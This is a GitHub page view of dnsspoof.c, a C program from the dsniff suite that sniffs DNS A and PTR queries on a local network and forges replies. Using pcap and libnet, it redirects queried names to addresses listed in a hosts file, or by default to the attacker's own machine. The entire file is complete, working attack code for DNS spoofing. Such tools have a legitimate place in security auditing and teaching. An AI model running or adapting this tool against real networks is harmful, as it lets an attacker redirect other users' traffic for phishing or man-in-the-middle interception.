-
Notifications
You must be signed in to change notification settings - Fork 1
/
dnsspoof.c
333 lines (266 loc) · 6.66 KB
/
dnsspoof.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
/*
* dnsspoof.c
*
* Forge replies to arbitrary DNS A / PTR queries on the LAN.
*
* Copyright (c) 2000 Dug Song <[email protected]>
*
* $Id: dnsspoof.c,v 1.10 2001/03/15 08:33:03 dugsong Exp $
*/
#include "config.h"
#include <sys/param.h>
#include <sys/types.h>
#include <sys/queue.h>
#include <netinet/in.h>
#include <arpa/nameser.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <strlcpy.h>
#include <resolv.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>
#include "pcaputil.h"
struct dnsent {
char *name;
in_addr_t ip;
SLIST_ENTRY(dnsent) next;
};
SLIST_HEAD(, dnsent) dns_entries;
pcap_t *pcap_pd = NULL;
int pcap_off = -1;
libnet_t *l;
u_long lnet_ip = -1;
static void
usage(void)
{
fprintf(stderr, "Version: " VERSION "\n"
"Usage: dnsspoof [-i interface] [-f hostsfile] [expression]\n");
exit(1);
}
/* Pattern matching code from OpenSSH. */
static int
match_pattern(const char *s, const char *pattern)
{
for (;;) {
if (!*pattern) return (!*s);
if (*pattern == '*') {
pattern++;
if (!*pattern) return (1);
if (*pattern != '?' && *pattern != '*') {
for (; *s; s++) {
if (*s == *pattern &&
match_pattern(s + 1, pattern + 1))
return (1);
}
return (0);
}
for (; *s; s++) {
if (match_pattern(s, pattern))
return (1);
}
return (0);
}
if (!*s) return (0);
if (*pattern != '?' && *pattern != *s)
return (0);
s++;
pattern++;
}
/* NOTREACHED */
}
static void
dns_init(char *dev, char *filename)
{
FILE *f;
libnet_t *l;
char libnet_ebuf[LIBNET_ERRBUF_SIZE];
struct dnsent *de;
char *ip, *name, buf[1024];
if ((l = libnet_init(LIBNET_LINK, dev, libnet_ebuf)) == NULL)
errx(1, "%s", libnet_ebuf);
if ((lnet_ip = libnet_get_ipaddr4(l)) == -1)
errx(1, "%s", libnet_geterror(l));
libnet_destroy(l);
SLIST_INIT(&dns_entries);
if (filename != NULL) {
if ((f = fopen(filename, "r")) == NULL)
err(1, "fopen");
while (fgets(buf, sizeof(buf), f) != NULL) {
if (buf[0] == '#' || buf[0] == '\n')
continue;
if ((ip = strtok(buf, "\t ")) == NULL ||
(name = strtok(NULL, "\n\t ")) == NULL)
continue;
if ((de = malloc(sizeof(*de))) == NULL)
err(1, "malloc");
if ((de->ip = inet_addr(ip)) == INADDR_ANY ||
(de->name = strdup(name)) == NULL)
errx(1, "invalid entry");
SLIST_INSERT_HEAD (&dns_entries, de, next);
}
fclose(f);
}
else {
if ((de = malloc(sizeof(*de))) == NULL)
err(1, "malloc");
de->ip = lnet_ip;
de->name = "*";
SLIST_INSERT_HEAD (&dns_entries, de, next);
}
}
static in_addr_t
dns_lookup_a(const char *name)
{
struct dnsent *de;
SLIST_FOREACH(de, &dns_entries, next) {
if (match_pattern(name, de->name))
return (de->ip);
}
return (-1);
}
static char *
dns_lookup_ptr(const char *name)
{
struct dnsent *de;
int a0, a1, a2, a3;
in_addr_t dst;
char *a;
if (strchr(name, '%') != NULL)
return (NULL);
if (sscanf(name, "%d.%d.%d.%d.", &a3, &a2, &a1, &a0) != 4)
return (NULL);
a = (char *)&dst;
a[0] = a0 & 0xff; a[1] = a1 & 0xff; a[2] = a2 & 0xff; a[3] = a3 & 0xff;
SLIST_FOREACH(de, &dns_entries, next) {
if (de->ip == dst && strchr(de->name, '*') == NULL)
return (de->name);
}
return (NULL);
}
static void
dns_spoof(u_char *u, const struct pcap_pkthdr *pkthdr, const u_char *pkt)
{
struct libnet_ipv4_hdr *ip;
struct libnet_udp_hdr *udp;
HEADER *dns;
char name[MAXHOSTNAMELEN];
u_char *p, *q, *end, buf[1024];
int i, anslen, dnslen;
in_addr_t dst;
u_short type, class;
ip = (struct libnet_ipv4_hdr *)(pkt + pcap_off);
udp = (struct libnet_udp_hdr *)(pkt + pcap_off + (ip->ip_hl * 4));
dns = (HEADER *)(udp + 1);
p = (u_char *)(dns + 1);
end = (u_char *)pkt + pkthdr->caplen;
if ((dnslen = end - (u_char *)dns) < sizeof(*dns))
return;
if (dns->opcode != QUERY || ntohs(dns->qdcount) != 1 ||
dns->ancount || dns->nscount || dns->arcount)
return;
if ((i = dn_expand((u_char *)dns, end, p, name, sizeof(name))) < 0)
return;
p += i;
GETSHORT(type, p);
GETSHORT(class, p);
if (class != C_IN)
return;
p = buf + dnslen;
if (type == T_A) {
if ((dst = dns_lookup_a(name)) == -1)
return;
/* XXX - cheat on alignment. */
memcpy(p, "\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04",
12);
memcpy(p + 12, &dst, sizeof(dst));
anslen = 16;
}
else if (type == T_PTR) {
if ((q = dns_lookup_ptr(name)) == NULL)
return;
/* XXX - cheat on alignment. */
memcpy(p, "\xc0\x0c\x00\x0c\x00\x01\x00\x00\x00\x3c", 10);
anslen = dn_comp(q, p + 12, 256, NULL, NULL);
p += 10;
PUTSHORT(anslen, p);
anslen += 12;
}
else return;
memcpy(buf, (u_char *)dns, dnslen);
dns = (HEADER *)buf;
dns->qr = dns->ra = 1;
if (type == T_PTR) dns->aa = 1;
dns->ancount = htons(1);
dnslen += anslen;
libnet_clear_packet(l);
libnet_build_udp(ntohs(udp->uh_dport), ntohs(udp->uh_sport),
LIBNET_UDP_H + dnslen, 0,
(u_int8_t *)buf, dnslen, l, 0);
libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_UDP_H + dnslen, 0,
libnet_get_prand(LIBNET_PRu16), 0, 64, IPPROTO_UDP, 0,
ip->ip_dst.s_addr, ip->ip_src.s_addr, NULL, 0, l, 0);
if (libnet_write(l) < 0)
warn("write");
fprintf(stderr, "%s.%d > %s.%d: %d+ %s? %s\n",
libnet_addr2name4(ip->ip_src.s_addr, 0), ntohs(udp->uh_sport),
libnet_addr2name4(ip->ip_dst.s_addr, 0), ntohs(udp->uh_dport),
ntohs(dns->id), type == T_A ? "A" : "PTR", name);
}
static void
cleanup(int sig)
{
libnet_destroy(l);
pcap_close(pcap_pd);
exit(0);
}
int
main(int argc, char *argv[])
{
extern char *optarg;
extern int optind;
char *p, *dev, *hosts, buf[1024];
char ebuf[LIBNET_ERRBUF_SIZE];
int i;
dev = hosts = NULL;
while ((i = getopt(argc, argv, "i:f:h?")) != -1) {
switch (i) {
case 'i':
dev = optarg;
break;
case 'f':
hosts = optarg;
break;
default:
usage();
break;
}
}
argc -= optind;
argv += optind;
if (dev == NULL && (dev = pcap_lookupdev(buf)) == NULL)
errx(1, "%s", buf);
dns_init(dev, hosts);
if (argc > 0) {
p = copy_argv(argv);
strlcpy(buf, p, sizeof(buf));
}
else snprintf(buf, sizeof(buf), "udp dst port 53 and not src %s",
libnet_addr2name4(lnet_ip, LIBNET_DONT_RESOLVE));
if ((pcap_pd = pcap_init_dsniff(dev, buf, 128)) == NULL)
errx(1, "couldn't initialize sniffing");
if ((pcap_off = pcap_dloff(pcap_pd)) < 0)
errx(1, "couldn't determine link layer offset");
if ((l = libnet_init(LIBNET_RAW4, dev, ebuf)) == NULL)
errx(1, "couldn't initialize sending");
libnet_seed_prand(l);
signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
warnx("listening on %s [%s]", dev, buf);
pcap_loop(pcap_pd, -1, dns_spoof, NULL);
/* NOTREACHED */
exit(0);
}